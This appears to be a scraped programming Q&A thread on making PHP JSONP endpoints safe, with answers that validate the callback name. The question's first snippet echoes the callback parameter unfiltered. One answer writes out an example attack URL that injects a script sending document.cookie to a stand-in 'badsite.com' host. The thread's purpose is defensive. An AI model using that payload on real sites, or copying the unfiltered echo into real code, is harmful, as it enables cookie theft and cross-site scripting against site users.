<?php header('content-type: application/json'); $json = json_encode($data); echo isset($_GET['callback']) ? "{$_GET['callback']}($json)" : $json;
Or should I for example filter the $_GET['callback']
variable so that it only contains a valid JavaScript function name? If so, what are valid JavaScript function names?
Or is not filtering that variable a bit of the point with JSONP?
Current solution: Blogged about my current solution at http://www.geekality.net/?p=1021. In short, for now, I have the following code, which hopefully should be pretty safe:
<?php header('content-type: application/json; charset=utf-8'); function is_valid_callback($subject) { $identifier_syntax = '/^[$_\p{L}][$_\p{L}\p{Mn}\p{Mc}\p{Nd}\p{Pc}\x{200C}\x{200D}]*+$/u'; $reserved_words = array('break', 'do', 'instanceof', 'typeof', 'case', 'else', 'new', 'var', 'catch', 'finally', 'return', 'void', 'continue', 'for', 'switch', 'while', 'debugger', 'function', 'this', 'with', 'default', 'if', 'throw', 'delete', 'in', 'try', 'class', 'enum', 'extends', 'super', 'const', 'export', 'import', 'implements', 'let', 'private', 'public', 'yield', 'interface', 'package', 'protected', 'static', 'null', 'true', 'false'); return preg_match($identifier_syntax, $subject) && ! in_array(mb_strtolower($subject, 'UTF-8'), $reserved_words); } $data = array(1, 2, 3, 4, 5, 6, 7, 8, 9); $json = json_encode($data); # JSON if no callback if( ! isset($_GET['callback'])) exit( $json ); # JSONP if valid callback if(is_valid_callback($_GET['callback'])) exit( "{$_GET['callback']}($json)" ); # Otherwise, bad request header('Status: 400 Bad Request', true, 400);
JSONP is still useful for older browser support, but given the security implications, unless you have no choice CORS is the better choice.
JSONP enables sharing of data bypassing same-origin policy, which disallows running JavaScript code to read media DOM elements or XMLHttpRequest data fetched from outside the page's originating site. The originating site is indicated by a combination of URI scheme, host name, and port number.
JSONP is a technique by which you put your request into a script tag URL (which is allowed to any domain) and you pass in that URL a parameter which indicates the name of a function that you want the resulting script that is returned to call and pass it your data.
No, if you intend to limit the JSONP to select domains. Specify the encoding too or people who shouldn't be able to access the JSON can possibly do UTF-7 injection attacks. Use this header instead:
header('Content-Type: application/json; charset=utf-8');
If it's supposed to be a public JSONP service, then yes it is safe, and also use application/javascript
instead of application/json
.
To be safe, you should encode callback
to only allow valid JS function names. Nothing complex, just don't allow end-developers to inject any javascript. Here's some code:
<?php header('Content-Type: application/json; charset=utf-8'); // Thanks Eli /** * Ensures that input string matches a set of whitelisted characters and * replaces unlisted ones with a replacement string (defaults to underscore). * @param string $orig The original text to filter. * @param string $replace The replacement string (default is underscore). * @param string The original text with bad characters replaced with $replace. * @link https://github.com/uuf6429/K2F/blob/master/K2F-DEV/core/security.php#L263 */ function strtoident($orig,$replace=''){ $orig=(string)$orig; // ensure input is a string for($i=0; $i<strlen($orig); $i++){ $o=ord($orig{$i}); if(!( (($o>=48) && ($o<=57)) // numbers || (($o>=97) && ($o<=122)) // lowercase || (($o>=65) && ($o<=90)) // uppercase || ($orig{$i}=='_'))) // underscore $orig{$i}=$replace; // check failed, use replacement } return $orig; } $json=json_encode($data) echo isset($_GET['callback']) ? strtoident($_GET['callback']).'('.$json.');' : $json; ?>
Edit:
The reason is to avoid hackers pointing innocent victims to:
http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//
Which can be broken down to:
(function(){ $(document.body).append( '<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>' ); })//("whatever");
With the latter part being the json you encoded, easily cancelled out with a comment (though unnecessary for their exploit to work). Basically, the hacker gets to know the user's cookies (among other things) which helps him gain access to the user's account with your website.
Edit: UTF-8 Compatibility. In order to substantiate my claims, read here. Or:
Like UTF-16 and UTF-32, UTF-8 can represent every character in the Unicode character set. Unlike them, it is backward-compatible with ASCII and avoids the complications of endianness and byte order marks (BOM).
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With